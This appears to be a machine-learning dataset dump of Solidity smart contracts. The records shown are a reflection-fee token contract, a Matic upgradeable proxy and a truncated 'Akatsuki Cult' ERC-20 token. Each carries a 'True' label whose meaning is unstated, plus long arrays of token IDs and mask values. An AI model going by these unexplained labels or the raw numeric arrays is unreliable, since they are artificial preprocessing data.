(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
2403,
1008,
1013,
1013,
1008,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1056,
2290,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
3336,
16643,
13947,
6442,
2389,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-02
*/
// File: contracts/common/misc/ERCProxy.sol
/*
* SPDX-License-Identitifer: MIT
*/
pragma solidity ^0.5.2;
// See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-897.md
interface ERCProxy {
function proxyType() external pure returns (uint256 proxyTypeId);
function implementation() external view returns (address codeAddr);
}
// File: contracts/common/misc/DelegateProxyForwarder.sol
pragma solidity ^0.5.2;
contract DelegateProxyForwarder {
function delegatedFwd(address _dst, bytes memory _calldata) internal {
// solium-disable-next-line security/no-inline-assembly
assembly {
let result := delegatecall(
sub(gas, 10000),
_dst,
add(_calldata, 0x20),
mload(_calldata),
0,
0
)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
function isContract(address _target) internal view returns (bool) {
if (_target == address(0)) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_target)
}
return size > 0;
}
}
// File: contracts/common/misc/DelegateProxy.sol
pragma solidity ^0.5.2;
contract DelegateProxy is ERCProxy, DelegateProxyForwarder {
function proxyType() external pure returns (uint256 proxyTypeId) {
// Upgradeable proxy
proxyTypeId = 2;
}
function implementation() external view returns (address);
}
// File: contracts/common/misc/UpgradableProxy.sol
pragma solidity ^0.5.2;
contract UpgradableProxy is DelegateProxy {
event ProxyUpdated(address indexed _new, address indexed _old);
event OwnerUpdate(address _new, address _old);
bytes32 constant IMPLEMENTATION_SLOT = keccak256("matic.network.proxy.implementation");
bytes32 constant OWNER_SLOT = keccak256("matic.network.proxy.owner");
constructor(address _proxyTo) public {
setOwner(msg.sender);
setImplementation(_proxyTo);
}
function() external payable {
// require(currentContract != 0, "If app code has not been set yet, do not call");
// Todo: filter out some calls or handle in the end fallback
delegatedFwd(loadImplementation(), msg.data);
}
modifier onlyProxyOwner() {
require(loadOwner() == msg.sender, "NOT_OWNER");
_;
}
function owner() external view returns(address) {
return loadOwner();
}
function loadOwner() internal view returns(address) {
address _owner;
bytes32 position = OWNER_SLOT;
assembly {
_owner := sload(position)
}
return _owner;
}
function implementation() external view returns (address) {
return loadImplementation();
}
function loadImplementation() internal view returns(address) {
address _impl;
bytes32 position = IMPLEMENTATION_SLOT;
assembly {
_impl := sload(position)
}
return _impl;
}
function transferOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "ZERO_ADDRESS");
emit OwnerUpdate(newOwner, loadOwner());
setOwner(newOwner);
}
function setOwner(address newOwner) private {
bytes32 position = OWNER_SLOT;
assembly {
sstore(position, newOwner)
}
}
function updateImplementation(address _newProxyTo) public onlyProxyOwner {
require(_newProxyTo != address(0x0), "INVALID_PROXY_ADDRESS");
require(isContract(_newProxyTo), "DESTINATION_ADDRESS_IS_NOT_A_CONTRACT");
emit ProxyUpdated(_newProxyTo, loadImplementation());
setImplementation(_newProxyTo);
}
function updateAndCall(address _newProxyTo, bytes memory data) payable public onlyProxyOwner {
updateImplementation(_newProxyTo);
(bool success, bytes memory returnData) = address(this).call.value(msg.value)(data);
require(success, string(returnData));
}
function setImplementation(address _newProxyTo) private {
bytes32 position = IMPLEMENTATION_SLOT;
assembly {
sstore(position, _newProxyTo)
}
}
}
// File: contracts/staking/EventsHubProxy.sol
pragma solidity 0.5.17;
contract EventsHubProxy is UpgradableProxy {
constructor(address _proxyTo) public UpgradableProxy(_proxyTo) {}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
6185,
1008,
1013,
1013,
1013,
5371,
1024,
8311,
1013,
2691,
1013,
28616,
2278,
1013,
9413,
21906,
3217,
18037,
1012,
14017,
1013,
1008,
1008,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
25090,
7512,
1024,
10210,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1016,
1025,
1013,
1013,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
6486,
2581,
1012,
9108,
8278,
9413,
21906,
3217,
18037,
1063,
3853,
24540,
13874,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
24540,
13874,
3593,
1007,
1025,
3853,
7375,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
3642,
4215,
13626,
1007,
1025,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
2691,
1013,
28616,
2278,
1013,
11849,
21572,
18037,
29278,
7652,
2121,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1016,
1025,
3206,
11849,
21572,
18037,
29278,
7652,
2121,
1063,
3853,
11849,
20952,
21724,
1006,
4769,
1035,
16233,
2102,
1010,
27507,
3638,
1035,
2655,
2850,
2696,
1007,
4722,
1063,
1013,
1013,
14017,
5007,
1011,
4487,
19150,
1011,
2279,
1011,
2240,
3036,
1013,
2053,
1011,
23881,
1011,
3320,
3320,
1063,
2292,
2765,
1024,
1027,
11849,
9289,
2140,
1006,
4942,
1006,
3806,
1010,
6694,
2692,
1007,
1010,
1035,
16233,
2102,
1010,
5587,
1006,
1035,
2655,
2850,
2696,
1010,
1014,
2595,
11387,
1007,
1010,
19875,
10441,
2094,
1006,
1035,
2655,
2850,
2696,
1007,
1010,
1014,
1010,
1014,
1007,
2292,
2946,
1024,
1027,
2709,
2850,
10230,
4697,
2292,
13866,
2099,
1024,
1027,
19875,
10441,
2094,
1006,
1014,
2595,
12740,
1007,
2709,
2850,
2696,
3597,
7685,
1006,
13866,
2099,
1010,
1014,
1010,
2946,
1007,
1013,
1013,
7065,
8743,
2612,
1997,
19528,
1006,
1007,
4647,
2065,
1996,
10318,
2655,
3478,
2007,
19528,
1006,
1007,
2009,
2525,
13842,
3806,
1012,
1013,
1013,
2065,
1996,
2655,
2513,
7561,
2951,
1010,
2830,
2009,
6942,
2765,
2553,
1014,
1063,
7065,
8743,
1006,
13866,
2099,
1010,
2946,
1007,
1065,
12398,
1063,
2709,
1006,
13866,
2099,
1010,
2946,
1007,
1065,
1065,
1065,
3853,
2003,
8663,
6494,
6593,
1006,
4769,
1035,
4539,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
2065,
1006,
1035,
4539,
1027,
1027,
4769,
1006,
1014,
1007,
1007,
1063,
2709,
6270,
1025,
1065,
21318,
3372,
17788,
2575,
2946,
1025,
3320,
1063,
2946,
1024,
1027,
4654,
13535,
19847,
4697,
1006,
1035,
4539,
1007,
1065,
2709,
2946,
1028,
1014,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
8311,
1013,
2691,
1013,
28616,
2278,
1013,
11849,
21572,
18037,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1016,
1025,
3206,
11849,
21572,
18037,
2003,
9413,
21906,
3217,
18037,
1010,
11849,
21572,
18037,
29278,
7652,
2121,
1063,
3853,
24540,
13874,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
24540,
13874,
3593,
1007,
1063,
1013,
1013,
12200,
3085,
24540,
24540,
13874,
3593,
1027,
1016,
1025,
1065,
3853,
7375,
1006,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
1065,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⡀⠊⠄⠀⠀⠀⠡⠈⠤⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠆⢄⠀⠀⠀⣿⣿⣿⣿⣿⣿⠀⡠⠂⠁⠧⠋⠊⠀⠀⡀⠄⣐⣪⣥⣴⣶⣿⣿⡿⣿⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡯⡾⡢⢀⠀⠀⠀⠀⠀⠀⠆⠔
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠂⠀⠀⠀⣿⣿⣿⣿⣿⣿⠜⠀⠀⠀⠀⡀⢔⣠⣴⣾⠿⠟⠛⢉⡠⠔⣋⠀⠠⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡪⠠⡈⠄⠀⠀⠀⠀⠀⠀⠐
⠀⠀⠀⠀⠐⠂⡰⠄⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⠀⠀⠠⢐⣬⣾⡿⠛⠉⠀⠀⠀⠔⠋⠐⣬⠶⠾⡛⡏⢹⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣿⣿⣿⡎⡪⡊⢀⠀⠀⠀⠀⠀⠀⠀
⢀⠀⠀⠀⠀⡁⠀⠂⠀⠀⠀⠀⠀⠀⠐⣿⣿⣿⣿⣿⣿⡦⣪⣾⡿⠛⣁⠀⠀⠀⠀⠀⠀⠐⡄⠌⣸⣲⣡⠷⡗⠓⢸⣿⣿⣿⣿⣿⣿⣿⣿⡏⢀⠒⢊⣿⣿⣿⣿⡯⠊⢀⠜⠀⠀⠀⠀⠀⠀⠀
⠈⣠⣤⣀⣬⣂⠀⠀⠀⠀⠀⠀⡀⠀⠀⣿⣿⣿⣿⣿⣿⣿⠿⠓⠚⢉⣁⢈⠐⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⡁⠀⠠⢸⣿⣿⣿⡇⠀⠁⠀⠁⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠈⠀⠀⠁⣿⣿⣿⣿⣿⡟⣿⢀⣴⡼⠖⢖⠲⠄⡇⠀⠀⠀⠀⠈⠐⠀⡀⠀⠸⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣷⠉⠄⠀⢺⣿⣿⣿⣗⠀⠔⡠⣃⠀⠀⢀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠑⣿⣿⣿⣿⣿⡇⢿⣾⢻⡡⣯⠟⠊⠈⠇⠀⠀⠀⠀⠀⠀⠀⠀⠑⢄⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⠂⡏⢰⣾⣿⣿⣿⣇⣡⡺⢛⣻⠔⡀⣄⣢⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⠘⣿⠖⠋⠀⠀⠰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠢⡀⣿⣿⣿⣿⣿⣿⣿⣿⡇⢀⡇⢸⣿⣿⣿⣿⣿⣿⣿⣾⣿⣖⡐⠐⠀⠁⠀
⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠐⢸⣿⣿⣿⣿⣿⣇⢹⡄⠀⠀⠀⡀⠐⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⡗⠅⠃⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀
⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡀⢣⠀⠀⢠⠀⠀⠱⡈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡇⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡏⣿⣿⣿⣿⣿⣿⣿⣾⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏
⣿⣿⣿⣿⣿⣿⡟⡯⠇⠉⠀⠀⡀⠀⠀⠀⢿⡏⣿⣿⣿⣿⣿⡆⠀⠀⠐⠀⠀⠀⠀⠀⢀⡠⠄⠒⠒⠀⠒⠂⠀⠀⠀⢸⡇⣿⣿⣿⣿⣿⣿⣿⡇⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡜
⣿⣿⣿⣿⣿⡟⠀⠀⠈⠀⠀⠈⠀⠀⠀⠀⠸⡇⢻⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠌⠀⢀⠄⠀⠒⠀⠀⠀⠀⠀⠀⢸⠀⢹⣿⣿⣿⣸⣿⣿⠇⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠊
⣿⣻⠿⠛⠁⠀⡕⠀⠀⠀⢠⡇⠂⠀⠀⠀⠀⣇⠘⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣏⠹⣿⠺⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⠣
⠁⠀⠀⢠⠀⡀⠀⠀⠀⠀⣾⣧⢰⠀⠀⠀⠀⠸⠀⢹⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⢇⠊⢿⢱⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⡀
⠀⠀⠀⢸⠈⠀⠀⠀⠀⢀⣿⣿⠘⠀⠀⠀⠀⠀⠀⠀⣿⣿⠸⣿⣿⡿⣿⡗⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣔⠟⠋⣿⣟⠁⠀⠀⢸⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡓⢅
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡆⣀⣀⡀⠀⠀⠀⠀⠘⣿⣄⣹⣿⣧⢻⡇⠁⠀⣄⠀⠀⠀⠀⠀⠀⣀⣀⣤⡾⢾⡴⠋⠀⠀⣿⠇⠀⠀⠀⠈⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢨⠢
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⡇⢠⠀⠉⠉⠉⠉⠉⠉⢻⡇⠀⢻⣿⠀⢃⠀⠀⠘⢷⣦⣤⡶⣦⡿⣛⠭⠷⠀⡫⣢⠖⡰⢢⠘⠀⠀⠀⠀⡄⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣷⣿⣷
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⠀⠀⢻⡄⠀⠀⠀⠀⠈⢻⣿⣎⡇⣶⢹⢆⢇⢄⢑⣉⠆⠡⠁⠀⠀⡠⠶⡡⡇⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⡇⠇⠀⠀⠀⠀⠀⠀⠀⠘⠀⠀⠈⢇⠀⠀⠀⢠⢞⢂⡙⢿⠲⠳⠹⠬⠚⠈⠁⠀⠐⣀⠠⠀⠈⣀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠛⠄⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⢨⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⣡⠡⠖⠞⠘⢀⠤⡀⢀⣀⢄⠤⠦⠘⠂⠀⠉⠁⠀⠀⢀⠃⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣇⠇⠀⠀⠐⠠⣀⠀⠀⠀⠀⠀⠀⠀⡡⣀⣜⠕⠥⠤⠤⣋⠎⠊⠠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡜⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣴⠀⠀⠀⠀⠀⠀⠉⠐⠒⠮⣌⠾⠾⠛⠒⠤⠀⢈⠀⠀⠀⠀⠁⠀⠀⢀⣀⣀⣤⣤⣶⣾⣿⣿⠇⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Akatsuki is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Akatsuki Cult";//////////////////////////
string private constant _symbol = "Akatsuki";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999999999 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 7;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 7;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x5C8192dE2653D76C51CE988251CaC2d4EeE5F733);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x5C8192dE2653D76C51CE988251CaC2d4EeE5F733);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 9999999 * 10**9; //1%
uint256 public _maxWalletSize = 29999997 * 10**9; //3%
uint256 public _swapTokensAtAmount = 9999999 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
